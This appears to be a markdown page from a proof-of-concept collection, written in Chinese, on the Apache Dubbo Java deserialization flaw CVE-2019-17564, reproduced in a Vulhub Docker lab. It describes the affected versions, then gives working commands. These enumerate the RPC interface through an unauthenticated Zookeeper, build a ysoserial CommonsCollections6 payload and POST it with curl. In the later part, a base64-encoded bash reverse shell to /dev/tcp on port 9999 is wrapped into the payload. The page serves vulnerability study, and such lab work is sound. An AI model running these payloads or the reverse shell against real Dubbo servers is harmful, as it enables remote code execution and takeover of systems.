Skip to content

Latest commit

 

History

History
84 lines (52 loc) · 3.6 KB

Apache Dubbo Java反序列化漏洞 CVE-2019-17564.md

File metadata and controls

84 lines (52 loc) · 3.6 KB

Apache Dubbo Java反序列化漏洞 CVE-2019-17564

漏洞描述

Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。RPC,全称为Remote Procedure Call,即远程过程调用,它是一个计算机通信协议。它允许像调用本地服务一样调用远程服务。

Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。

在Spring文档中,对HttpInvokerServiceExporter有如下描述,并不建议使用:

WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code execution on the server during the deserialization step. As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.

参考链接:

漏洞影响

Apache Dubbo 2.7.4及以前版本

Apache Dubbo 2.7.5后Dubbo使用com.googlecode.jsonrpc4j.JsonRpcServer替换了HttpInvokerServiceExporter

环境搭建

执行如下命令启动一个Apache Dubbo 2.7.3 Provider:

docker-compose up -d

服务启动后,访问http://your-ip:8080,服务器默认会返回500错误。

漏洞复现

利用该漏洞需要先知道目标RPC接口名,而Dubbo所有的RPC配置储存在registry中,通常使用Zookeeper作为registry。如果能刚好找到目标的Zookeeper未授权访问漏洞,那么就可以在其中找到接口的名称与地址。

Vulhub对外开放了8080端口和2181端口,其中2181即为Zookeeper的端口,本地下载Zookeeper,使用其中自带的zkCli即可连接到这台Zookeeper服务器。

依次执行以下命令下载、解压、使用zkCli工具:

$ wget https://dlcdn.apache.org/zookeeper/zookeeper-3.7.0/apache-zookeeper-3.7.0-bin.tar.gz
$ tar xvf apache-zookeeper-3.7.0-bin.tar.gz
$ cd apache-zookeeper-3.7.0-bin/bin
$ ./zkCli -server target-ip:2181

连接后进入一个交互式控制台,使用ls即可列出其中所有节点,包括Dubbo相关的配置:

image-20220222214720363

获取到RPC接口名为org.vulhub.api.CalcService。直接用ysoserial生成CommonsCollections6的Payload作为POST Body发送到http://your-ip:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:

$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "touch /tmp/awesome_poc" > 1.poc

$ curl -XPOST --data-binary @1.poc http://192.168.174.128:8080/org.vulhub.api.CalcService

image-20220222220814317

进入docker,命令touch /tmp/awesome_poc执行成功:

image-20220222220908304

反弹shell:

bash -i >& /dev/tcp/192.168.174.128/9999 0>&1 
# base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx
$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" > shell.poc

$ curl -XPOST --data-binary @shell.poc http://192.168.174.128:8080/org.vulhub.api.CalcService

image-20220222221020948